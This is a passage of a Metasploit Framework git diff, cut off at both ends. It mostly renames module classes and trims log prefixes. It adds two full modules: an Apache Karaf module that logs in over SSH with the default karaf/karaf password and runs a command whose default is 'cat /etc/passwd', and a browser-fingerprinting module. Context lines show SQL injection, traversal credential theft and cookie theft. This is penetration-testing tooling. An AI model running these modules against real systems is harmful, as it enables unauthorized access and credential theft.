Msf::Auxiliary }) unless res && res.code == 302 - print_error("#{peer} - Server did not respond in an expected way") + print_error("Server did not respond in an expected way") return end unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/') - print_error("#{peer} - Authentication failed") + print_error("Authentication failed") return end cookie = res.get_cookies if cookie.blank? - print_error("#{peer} - Could not retrieve the authenticated cookie") + print_error("Could not retrieve the authenticated cookie") return end @@ -106,7 +106,7 @@ class Metasploit4 < Msf::Auxiliary right_marker = Rex::Text.rand_text_alpha(6) sql_true = Rex::Text.rand_text_alpha(6) - print_status("#{peer} - Exploiting SQLi...") + print_status("Exploiting SQLi...") begin ::Timeout.timeout(datastore['SQLI_TIMEOUT']) do @@ -124,9 +124,9 @@ class Metasploit4 < Msf::Auxiliary end rescue ::Timeout::Error if full.blank? - print_error("#{peer} - Timeout while exploiting sqli, nothing recovered") + print_error("Timeout while exploiting sqli, nothing recovered") else - print_error("#{peer} - Timeout while exploiting sqli, #{full.length} bytes recovered") + print_error("Timeout while exploiting sqli, #{full.length} bytes recovered") end return end diff --git a/modules/auxiliary/gather/android_browser_file_theft.rb b/modules/auxiliary/gather/android_browser_file_theft.rb index f0b00f0fe1..aca3bdc41b 100644 --- a/modules/auxiliary/gather/android_browser_file_theft.rb +++ b/modules/auxiliary/gather/android_browser_file_theft.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/jsobfu' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report diff --git a/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb b/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb index f87821d32b..266575bff8 100644 --- a/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb +++ b/modules/auxiliary/gather/android_browser_new_tab_cookie_theft.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/jsobfu' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report diff --git a/modules/auxiliary/gather/android_htmlfileprovider.rb b/modules/auxiliary/gather/android_htmlfileprovider.rb index c8edc3c0ed..339a2f01b6 100644 --- a/modules/auxiliary/gather/android_htmlfileprovider.rb +++ b/modules/auxiliary/gather/android_htmlfileprovider.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report diff --git a/modules/auxiliary/gather/android_object_tag_webview_uxss.rb b/modules/auxiliary/gather/android_object_tag_webview_uxss.rb index bebf1f081f..3c3bce84f1 100644 --- a/modules/auxiliary/gather/android_object_tag_webview_uxss.rb +++ b/modules/auxiliary/gather/android_object_tag_webview_uxss.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::JSObfu diff --git a/modules/auxiliary/gather/android_stock_browser_uxss.rb b/modules/auxiliary/gather/android_stock_browser_uxss.rb index 887dcea57d..4296dbb238 100644 --- a/modules/auxiliary/gather/android_stock_browser_uxss.rb +++ b/modules/auxiliary/gather/android_stock_browser_uxss.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report diff --git a/modules/auxiliary/gather/apache_karaf_command_execution.rb b/modules/auxiliary/gather/apache_karaf_command_execution.rb new file mode 100644 index 0000000000..5120544133 --- /dev/null +++ b/modules/auxiliary/gather/apache_karaf_command_execution.rb @@ -0,0 +1,136 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'net/ssh' + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Module::Deprecated + + deprecated(Date.new(2016, 4, 14), 'auxiliary/scanner/ssh/apache_karaf_command_execution') + + def initialize(info={}) + super(update_info(info, + 'Name' => "Apache Karaf Default Credentials Command Execution", + 'Description' => %q{ + This module exploits a default misconfiguration flaw on Apache Karaf versions 2.x-4.x. + The 'karaf' user has a known default password, which can be used to login to the + SSH service, and execute operating system commands from remote. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Nicholas Starke ' + ], + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['Apache Karaf', {}], + ], + 'Privileged' => true, + 'DisclosureDate' => "Feb 9 2016", + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(8101), + OptString.new('USERNAME', [true, 'Username', 'karaf']), + OptString.new('PASSWORD', [true, 'Password', 'karaf']), + OptString.new('CMD', [true, 'Command to Run', 'cat /etc/passwd']) + ], self.class + ) + + register_advanced_options( + [ + Opt::Proxies, + OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), + OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) + ] + ) + end + + def rport + datastore['RPORT'] + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def cmd + datastore['CMD'] + end + + def do_login(user, pass, ip) + opts = { + :auth_methods => ['password'], + :msframework => framework, + :msfmodule => self, + :port => rport, + :disable_agent => true, + :config => false, + :password => pass, + :record_auth_info => true, + :proxies => datastore['Proxies'] + } + + opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + + begin + ssh = nil + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + ssh = Net::SSH.start(ip, user, opts) + end + rescue OpenSSL::Cipher::CipherError => e + print_error("#{ip}:#{rport} SSH - Unable to connect to this Apache Karaf (#{e.message})") + return + rescue Rex::ConnectionError + return + rescue Net::SSH::Disconnect, ::EOFError + print_error "#{ip}:#{rport} SSH - Disconnected during negotiation" + return + rescue ::Timeout::Error + print_error "#{ip}:#{rport} SSH - Timed out during negotiation" + return + rescue Net::SSH::AuthenticationFailed + print_error "#{ip}:#{rport} SSH - Failed authentication" + rescue Net::SSH::Exception => e + print_error "#{ip}:#{rport} SSH Error: #{e.class} : #{e.message}" + return + end + + if ssh + print_good("#{ip}:#{rport}- Login Successful with '#{user}:#{pass}'") + else + print_error "#{ip}:#{rport} - Unknown error" + end + ssh + end + + def run_host(ip) + print_status("#{ip}:#{rport} - Attempt to login...") + ssh = do_login(username, password, ip) + if ssh + output = ssh.exec!("shell:exec #{cmd}\n").to_s + if output + print_good("#{ip}:#{rport} - Command successfully executed. Output: #{output}") + store_loot("apache.karaf.command", + "text/plain", + ip, + output) + vprint_status("#{ip}:#{rport} - Loot stored at: apache.karaf.command") + else + print_error "#{ip}:#{rport} - Command failed to execute" + end + end + end +end \ No newline at end of file diff --git a/modules/auxiliary/gather/apache_rave_creds.rb b/modules/auxiliary/gather/apache_rave_creds.rb index eb9574bbff..320bc12a25 100644 --- a/modules/auxiliary/gather/apache_rave_creds.rb +++ b/modules/auxiliary/gather/apache_rave_creds.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb index af2359c05b..b754e67c55 100644 --- a/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb +++ b/modules/auxiliary/gather/apple_safari_ftp_url_cookie_theft.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex/service_manager' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::FtpServer include Msf::Auxiliary::Report @@ -172,7 +172,7 @@ class Metasploit3 < Msf::Auxiliary # set. # def use_zlib - unless Rex::Text.zlib_present? || datastore['HTTP::compression'] == false + unless Rex::Text.zlib_present? || !datastore['HTTP::compression'] fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!") end end diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index 98d347f89d..05dd9a693a 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/exploit/format/webarchive' require 'uri' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::HttpServer::HTML diff --git a/modules/auxiliary/gather/avtech744_dvr_accounts.rb b/modules/auxiliary/gather/avtech744_dvr_accounts.rb index 4c37acb610..632127d02d 100644 --- a/modules/auxiliary/gather/avtech744_dvr_accounts.rb +++ b/modules/auxiliary/gather/avtech744_dvr_accounts.rb @@ -1,6 +1,6 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report diff --git a/modules/auxiliary/gather/browser_info.rb b/modules/auxiliary/gather/browser_info.rb new file mode 100644 index 0000000000..3279767ded --- /dev/null +++ b/modules/auxiliary/gather/browser_info.rb @@ -0,0 +1,85 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "HTTP Client Information Gather", + 'Description' => %q{ + This module gathers information about a browser that exploits might be interested in, such + as OS name, browser version, plugins, etc. By default, the module will return a fake 404, + but you can customize this output by changing the Custom404 datastore option, and + redirect to an external web page. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r' ], + 'DisclosureDate' => "Mar 22 2016", + 'Actions' => + [ + [ + 'WebServer', { + 'Description' => 'A web that collects information about the browser.' + }] + ], + 'PassiveActions' => [ 'WebServer' ], + 'DefaultAction' => 'WebServer' + )) + end + + def is_key_wanted?(key) + ![:module, :created_at, :tried, :vuln_test, :address].include?(key) + end + + def is_value_wanted?(value) + !(value.nil? || value =~ /^undefined|false/ || !value) + end + + def ignore_items!(target_info) + target_info.delete_if do |key, value| + !is_key_wanted?(key) || !is_value_wanted?(value) + end + end + + def report_host_info(target_info) + opts = { host: target_info[:address] } + opts.merge!(target_info) + report_host(opts) + end + + def translate_script_meaning(value) + case value + when 'script' + 'Browser allows JavaScript' + when 'headers' + 'Browser does not allow JavaScript' + end + end + + def print_target_info(cli, target_info) + print_status("#{cli.peerhost} - We have found the following interesting information:") + report_host_info(target_info) + ignore_items!(target_info) + target_info.each_pair do |key, value| + if key == :source + value = translate_script_meaning(value) + end + print_status("#{cli.peerhost} - #{key} = #{value}") + end + end + + def on_request_exploit(cli, req, target_info) + print_target_info(cli, target_info) + send_not_found(cli) + end + + def run + exploit + end + +end diff --git a/modules/auxiliary/gather/checkpoint_hostname.rb b/modules/auxiliary/gather/checkpoint_hostname.rb index b185233021..84d4cf9800 100644 --- a/modules/auxiliary/gather/checkpoint_hostname.rb +++ b/modules/auxiliary/gather/checkpoint_hostname.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/gather/chromecast_wifi.rb b/modules/auxiliary/gather/chromecast_wifi.rb index 5b0c218f6d..9cb0676df5 100644 --- a/modules/auxiliary/gather/chromecast_wifi.rb +++ b/modules/auxiliary/gather/chromecast_wifi.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/gather/citrix_published_applications.rb b/modules/auxiliary/gather/citrix_published_applications.rb index ade049c58b..8754bd5bab 100644 --- a/modules/auxiliary/gather/citrix_published_applications.rb +++ b/modules/auxiliary/gather/citrix_published_applications.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/gather/citrix_published_bruteforce.rb b/modules/auxiliary/gather/citrix_published_bruteforce.rb index 8160691034..b04997750e 100644 --- a/modules/auxiliary/gather/citrix_published_bruteforce.rb +++ b/modules/auxiliary/gather/citrix_published_bruteforce.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/gather/coldfusion_pwd_props.rb b/modules/auxiliary/gather/coldfusion_pwd_props.rb index 0dd09d79aa..ba70df4668 100644 --- a/modules/auxiliary/gather/coldfusion_pwd_props.rb +++ b/modules/auxiliary/gather/coldfusion_pwd_props.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient @@ -203,7 +203,7 @@ class Metasploit3 < Msf::Auxiliary }) if res.nil? - print_error("#{peer} - Unable to receive a response") + print_error("Unable to receive a response") return end @@ -213,15 +213,15 @@ class Metasploit3 < Msf::Auxiliary if rdspass.empty? and password.empty? # No pass collected, no point to store anything - print_error("#{peer} - No passwords found") + print_error("No passwords found") return end - print_good("#{peer} - rdspassword = #{rdspass}") - print_good("#{peer} - password = #{password}") - print_good("#{peer} - encrypted = #{encrypted}") + print_good("rdspassword = #{rdspass}") + print_good("password = #{password}") + print_good("encrypted = #{encrypted}") p = store_loot('coldfusion.password.properties', 'text/plain', rhost, res.body) - print_good("#{peer} - password.properties stored in '#{p}'") + print_good("password.properties stored in '#{p}'") end end diff --git a/modules/auxiliary/gather/corpwatch_lookup_id.rb b/modules/auxiliary/gather/corpwatch_lookup_id.rb index e6ca939df3..30cf6a6c26 100644 --- a/modules/auxiliary/gather/corpwatch_lookup_id.rb +++ b/modules/auxiliary/gather/corpwatch_lookup_id.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rexml/document' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/gather/corpwatch_lookup_name.rb b/modules/auxiliary/gather/corpwatch_lookup_name.rb index cf83fbecc9..6ca6ae70c6 100644 --- a/modules/auxiliary/gather/corpwatch_lookup_name.rb +++ b/modules/auxiliary/gather/corpwatch_lookup_name.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rexml/document' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/gather/d20pass.rb b/modules/auxiliary/gather/d20pass.rb index de42cb7159..cb1313bec2 100644 --- a/modules/auxiliary/gather/d20pass.rb +++ b/modules/auxiliary/gather/d20pass.rb @@ -12,7 +12,7 @@ require 'msf/core' require 'rex/ui/text/shell' require 'rex/proto/tftp' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Rex::Ui::Text include Rex::Proto::TFTP include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb index c87615aa62..d501492d94 100644 --- a/modules/auxiliary/gather/dns_bruteforce.rb +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -7,7 +7,7 @@ require 'msf/core' require "net/dns/resolver" require 'rex' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) diff --git a/modules/auxiliary/gather/dns_cache_scraper.rb b/modules/auxiliary/gather/dns_cache_scraper.rb index 3b4794fa3f..b32849874c 100644 --- a/modules/auxiliary/gather/dns_cache_scraper.rb +++ b/modules/auxiliary/gather/dns_cache_scraper.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'net/dns/resolver' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index 0834c5c16e..2a1d0aebd0 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -7,7 +7,7 @@ require 'msf/core' require "net/dns/resolver" require 'rex' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb index 4726b53de9..cb960ba1d8 100644 --- a/modules/auxiliary/gather/dns_reverse_lookup.rb +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -7,7 +7,7 @@ require 'msf/core' require "net/dns/resolver" require 'rex' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) diff --git a/modules/auxiliary/gather/dns_srv_enum.rb b/modules/auxiliary/gather/dns_srv_enum.rb index 31866fb56a..0bf36e086f 100644 --- a/modules/auxiliary/gather/dns_srv_enum.rb +++ b/modules/auxiliary/gather/dns_srv_enum.rb @@ -7,7 +7,7 @@ require 'msf/core' require "net/dns/resolver" require 'rex' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) diff --git a/modules/auxiliary/gather/doliwamp_traversal_creds.rb b/modules/auxiliary/gather/doliwamp_traversal_creds.rb index ac02e16386..93c6c5367b 100644 --- a/modules/auxiliary/gather/doliwamp_traversal_creds.rb +++ b/modules/auxiliary/gather/doliwamp_traversal_creds.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary # def get_session_tokens tokens = nil - print_status("#{peer} - Finding session tokens...") + print_status("Finding session tokens...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri( @@ -52,15 +52,15 @@ class Metasploit3 < Msf::Auxiliary 'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] } }) if !res - print_error("#{peer} - Connection failed") + print_error("Connection failed") elsif res.code == 404 - print_error("#{peer} - Could not find 'jqueryFileTree.php'") + print_error("Could not find 'jqueryFileTree.php'") elsif res.code == 200 and res.body =~ />sess_([a-z0-9]+)sess_([a-z0-9]+) 'GET', 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Auxiliary }.to_a.shuffle] }) if !res - print_error("#{peer} - Connection failed") + print_error("Connection failed") elsif res.body =~ /User card/ record = [ res.body.scan(/name="login" value="([^"]+)"/ ).flatten.first, @@ -89,11 +89,11 @@ class Metasploit3 < Msf::Auxiliary res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first ] unless record.empty? - print_good("#{peer} - Found credentials (#{record[0]}:#{record[1]})") + print_good("Found credentials (#{record[0]}:#{record[1]})") return record end else - print_warning("#{peer} - Could not retrieve user credentials") + print_warning("Could not retrieve user credentials") end end @@ -106,13 +106,13 @@ class Metasploit3 < Msf::Auxiliary 'cookie' => @cookie }) if !res - print_error("#{peer} - Connection failed") + print_error("Connection failed") elsif res.body =~ /